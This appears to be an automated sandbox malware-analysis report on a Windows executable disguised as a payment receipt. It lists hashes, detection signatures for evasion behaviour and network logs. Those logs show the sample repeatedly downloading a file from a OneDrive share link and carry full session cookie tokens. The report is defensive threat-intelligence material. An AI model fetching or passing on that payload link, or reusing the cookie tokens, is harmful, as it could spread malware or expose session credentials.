Edit tour

Windows Analysis Report
TahsilatMakbuzu.cmd.exe

Overview

General Information

Sample name:	TahsilatMakbuzu.cmd.exe
Analysis ID:	1467816
MD5:	1d4e40d9184fac8d509b0f51f3c9732f
SHA1:	a206adbac6a177c0d2b95fdfda1186854a9801f8
SHA256:	2b283db613aa7ef78340c488baaf98ee0cf7f0c262ed665df097a639517ea881
Tags:	cmdexe
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

.NET source code contains potential unpacker

AI detected suspicious sample

Machine Learning detection for sample

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Classification

Process Tree

System is w10x64

TahsilatMakbuzu.cmd.exe (PID: 6640 cmdline: "C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe" MD5: 1D4E40D9184FAC8D509B0F51F3C9732F)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: TahsilatMakbuzu.cmd.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: TahsilatMakbuzu.cmd.exe

Joe Sandbox ML: detected

Source: TahsilatMakbuzu.cmd.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.42.12:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.12:443 -> 192.168.2.6:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.12:443 -> 192.168.2.6:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.12:443 -> 192.168.2.6:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.6:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49950 version: TLS 1.2

Source: TahsilatMakbuzu.cmd.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.msConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzUzLCJuYmYiOjE3MjAxMTY5NTMsImdpdmVuX25hbWUiOiI3MyIsImZhbWlseV9uYW1lIjoiV29tYmF0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDVjMDc5ZjllMDkyOGRkYTZiM2I5MjBkN2M1ODRkZjIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk1M30.flPETEmDTMFOBZ-HwXLLoViZstjkXIgT8GEFnBeLQ2Sj0RbZmz1e8aCuX5ExcS-sN7VS8PG4YTHmBgi05ZVLxEgs1hZPUTbNjM3Wi5SIFBDpBu_Nu80V_ZqNguxos2d5FLaXY9GtIIxRsdJkL6Lz3-Oj6njfMempHRQw4FcXMcxkxhQ72GtZM1djnM0tuABQ_XRJP5nxfL0IoPmVvFdf7EUZ3I8FjMlXkyMjoNk-rdCW7Gh4oOVAemvT0n3sRlEbD7CGbfSk4zgUhSHXPsbzRLg04zq0pNQNBJ1n4lnTqPDdaTBJP1MtKwx94P00pSa3gr1MUHJY2Mn-NeNjRK_ACA; E=P:Dv5KV1Wc3Ig=:qtQX13l08k+/qyuvXe/5UV57UXVkbSL0+O7dwZI2U1k=:F; xid=94186ad3-1f95-4ed8-9185-377c53854fa7&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzU2LCJuYmYiOjE3MjAxMTY5NTYsImdpdmVuX25hbWUiOiIzIiwiZmFtaWx5X25hbWUiOiJTd2FsbG93IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZTU3MzlhNTYzNjY5M2UyZGRmYjU0YTczZTljYWUxMGIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk1Nn0.h8JQ9E3hhBfmEa8M5xdmPLpVIElHWw87Ptc_KOYtmAiuoSg6CdzTz2dRwWC0NJ0NOzE7Zy0dJQ0j2DFXpbbT3N3dCUiNJW238vDQWlkE0HHPgTOKjw7Qy1fokcG2HCPi7Rp2ISM1f-2mRFoMKmLssbtRfSAsr7-fsQ4nbFawOvbbPlQWnReCarAitzgyMneUR84fEWIBS9wBYULoRzrUZwIa52kcx4u41VIbO4dzecfAyIqgVpsHPOsNyzloCITS70hkCy4eammaWaojR09LkbpK8thvJ2mlvuVa2coaayIyaXy_FKC_prOg8KQINrVA1tNte63PIxfkS_tFWyWXIA; E=P:e/FvWVWc3Ig=:jDioFgOtAmzOjDld4tQMxm1UGM9xsJHqO5XbXD6Hqb8=:F; xid=461c9129-fdee-4045-ac15-fc97fc3534a1&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzU5LCJuYmYiOjE3MjAxMTY5NTksImdpdmVuX25hbWUiOiI2NCIsImZhbWlseV9uYW1lIjoiT3R0ZXIiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJhNzJhMDRlZjAxMDViYzNkMjQwY2UwNmZhZGU3NTBkYyIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE2OTU5fQ.nA1QAGa69qC38wrOZMHHPS3wS4ccz96bMmJw5KFOs-oW3h8DTFD64yVupdER39l0eMoX2DuouRYhyWzm_O8QYbmgvPWiajM340HdRDTVIky51YrzzkNCUrSqm_2LQQkaBEHnN9x3xhhS81qV9Ml4HVB8ZOFtjmS7Cv6CCqpAWSXWt8pk401L2OiS2a8Meu4VXBPUXtNHAalre2jsQTDBrVc8HH1cycMZBPCOSDudVU31bKzfInLN3hBTGIJXOA85w8zvPDgEP9j4m_FDSD5uJJQm2q-AMScwAelf9VPCz2QmMt_xp7_6j_J1pMwqtIIBP98712iTVN1-lsvNMdFu3A; E=P:sA1lW1Wc3Ig=:xPJZzwOpXF72/2UlXWjgL56YEK+W3ZKRAr3xD2UU13A=:F; xid=a2106ac2-07c0-4f24-982a-17482d366ea0&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzYzLCJuYmYiOjE3MjAxMTY5NjMsImdpdmVuX25hbWUiOiI1MSIsImZhbWlseV9uYW1lIjoiQ2hpY2tlbiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImE5YjYyYmVhYTFjNjk1MDMwMWIwNTBiNWY5Y2Q3ODUwIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5NjN9.cSKM2sk_ySi5oUMrrt7_qlHk0bC8s--k34zkBvi3Hsstx0FGPBGRhHvdrQ0r2hkiCp4OnvtDpQSWjuzzLmrGPJXQPcS4YCoNrjTo30NkfqOYX2FzDMasbFbQ66pzSMpG4KRiTzWtT6kPpqU-_Rp3i_C1ATG7Fc13Pl5dyiQ0qnY812PZvaR8ZULLNI2XRROMIhHaTakNomfhyg6vB2gx7Jzh4tSB6VxiW4iD9EJrTHQF0wFDZi3WiDB2yt-0ZjUrdKiNV5DO-36mKo5_6Ku1MKYkhl_xcvw_dIekv_cUr7r2DChsooJstfC9zs3CTICx6rO4-fHagd9hf5ZX3IGhjg; E=P:LZ+bXVWc3Ig=:jBux53n1kaBdKajRcaxJaJ0gSl5y4H7tXd9NBs5fiL4=:F; xid=f16e7852-9340-4a79-b990-bb6959d55240&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzY3LCJuYmYiOjE3MjAxMTY5NjcsImdpdmVuX25hbWUiOiI1NyIsImZhbWlseV9uYW1lIjoiRWVsIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDFmOWMwYmNjNTMwMWMwOTMzOWIwNjMxNjViZjE1ZjciLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk2N30.ZXp2Add50K91dgfFm1wuVrrYiVfA3FQ8tGuhI_5CAgvDHT5DPnH0aTaLV1QHqx8mSO0m3G9uGek9yyWJFmnuu_7KpiXvTfo_7xYNCLByf8Eya6PjjOiXfcDh9UnB7wIAg-q8WDnCfZM2Qnu32zFb2FH_mbFkMJoGvMc2M85xoeSkLnbbwsxyF9nArw2-Y0bqRWV37B3_FeFLvuYisqOf9Izr8mADGhiAEfZ3LQnoS2SPszpUGU6aO5k4saUbibIRH0Q6FdxaCrLx2msiKFTEa2FkLgLF0_rfhZyIph5q8DzFewLwU0kAAoGgOpmhEAlrHOJtLLP2qNrVtOAWEnR2nw; E=P:RXKyX1Wc3Ig=:Af1j99uh2sEAarhHibhNxKzbBNdTtHiz47VSn8LHHB0=:F; xid=d6d2751f-a76e-484e-9cf7-875231f10271&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzcwLCJuYmYiOjE3MjAxMTY5NzAsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiTXVsZSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImE3ZjYzMTk3NzRlMGYyY2NiMGU4ZmMxYmU3MDlmY2U1IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5NzB9.h7bAU7bWvJlRQg4qk1ERmYGcM72l7LjFylSE5lQIcmPM8CcaRncO2ObT8cep-932ezih0y8huKckETSEjxaJbnmtILW9qsr9wWwSGjvXTmaUUI8YPv7RrTCCcsnLdt8EzH_1E5pwjJvS-pRqMxaWWlwk3YF6FjS_rzd0qEnGM5T9qxLf1fMGDpTGKBp63wI9QUzdcq-KcmR67YHsJ10Siv3CSOO7a7tfRnNLRw4-Dm8IUBTo6JpOILNwNuXo--jPYqnwJCgvOsVer0Cd0zBswzEMoC30D3F8K5nk4pBrTwusjtDWjMtVUiIX0SbresTcJjAiwDL-obC61rt4xXM6vg; E=P:veKYYVWc3Ig=:RX0j3Z75Pf1W2jSYhJ0jj+Y8gl2DU6+1pJlhqaBJyCM=:F; xid=a7818203-278a-471e-a9e4-40005a731083&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzczLCJuYmYiOjE3MjAxMTY5NzMsImdpdmVuX25hbWUiOiI1MSIsImZhbWlseV9uYW1lIjoiQ2F0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNTgyMGIwNTFjOTkzNjEzZjY5MmYzOTQ0NGZiNzYyNGYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk3M30.SkckBvwmESEqY9_pp-lR4rfPpur5YgWZOKHDMutIji54XfvzF8gZyHw7vmhGlybV1TyCPxmTYfPOKe7T8EwkkeK4xoL6_XhnP1r_UpJZBG48n6W7743xpdpozUdMHTtQO_IPcOv5v83DXG5NmXjeL7zBVazqi2NYwHzIHlHFfYTm5p_BJ6mDLLngMTMf92vUDzLTwDudNqDuZRqRTBCPE2fNP-0Nvy7TAqWEdQ1hPc16qgVdK3MrgIxXlB6UZVhPGNfsDkGDcQmEx7QHaKx8jpI8eZCUb4MxM9XB3jYjDW76AvBcrx3Ofm-OPm_qfJKplUAkm1zF8KR-nQSR0NRMLA; E=P:WQFtY1Wc3Ig=:cBp7i5W4gIwJuPlwEiNHDJM0TsZyT7ZPWurKLkYY5JY=:F; xid=5cfb20bf-5718-4b60-800a-dd527b442040&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzc2LCJuYmYiOjE3MjAxMTY5NzYsImdpdmVuX25hbWUiOiI2MCIsImZhbWlseV9uYW1lIjoiRmluY2giLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI0ZjA1YWE5Njc3MmI3MTA4Mjc5YWJiNzFhMzA5YzU1MCIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE2OTc2fQ.eyrJmY3RnpNJCKkKLPC227iqynvSpI7xSWuslNUyekFcCMu1E0KvdcJUbRiHIiOXWQLFnVCXM0CZMjYyvdeRYq0yKWB8Rd7TFkUYEcsbqUuykKEqh2xbsYsY2e24zeWt0ljKAR5xO39yIGJ1JbfkldGr22Pk8nxdsNQX9YLnuAku3DdSDcn5xAvZKXRdaJOr8NYRPlGqiR-VwTk4aJ1wpyN0yybqfH-7Ze-QXIJ8zpDiQUsM5H7B9_FRy3oL8EcJqQiyLSFE6nqIN2qo-SHHGWLnRO147m_MTs3Mes3l0TSURqJP5Rfow2zsnvK_P8JebBtm4EOGpCcoZ5kHItXYGA; E=P:Bf9dZVWc3Ig=:A0xan4QkKxMo0K+15OZQ0e5c561uaoR5O3CZSE66gW8=:F; xid=d4f90ade-cd5c-4ba7-bd50-f524e99e4b73&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzc5LCJuYmYiOjE3MjAxMTY5NzksImdpdmVuX25hbWUiOiIzNyIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNDE1OTQ0ZDI2YjFjYzg1NjExNmY3MDI1ZWI2OTY5YTUiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk3OX0.DRVBml3jzN7MlV-WvHw9CK5hQbb7QnHGLoBkmSv46VgorP8OQqDbf7VwEzUS0aHNeymyblNrl52I1O6hmS86-XzSqa5Gf5jkpYjjhYnDIMLatcC77YDbNXunVg8MX4Yp47kt-UxBo4ZZm6zsdkGCpKl3p9k1JOCgqdL2R-3YhHLZ0RdwJ9KNCrXkrsXKy0KVfq0o7BNdhMAkJb6inch_7vUrMdpxy4Rm90qrqxNfMVtUYNn1teqsiscwKSPKPc2pOo86alQEUdHz8ebtZ68plsr7Ar6albtcpBNZzHVfIcJsEbupBDXUg6Qju7jcKL6B98KQuZ6uxp6hLYTusDt27w; 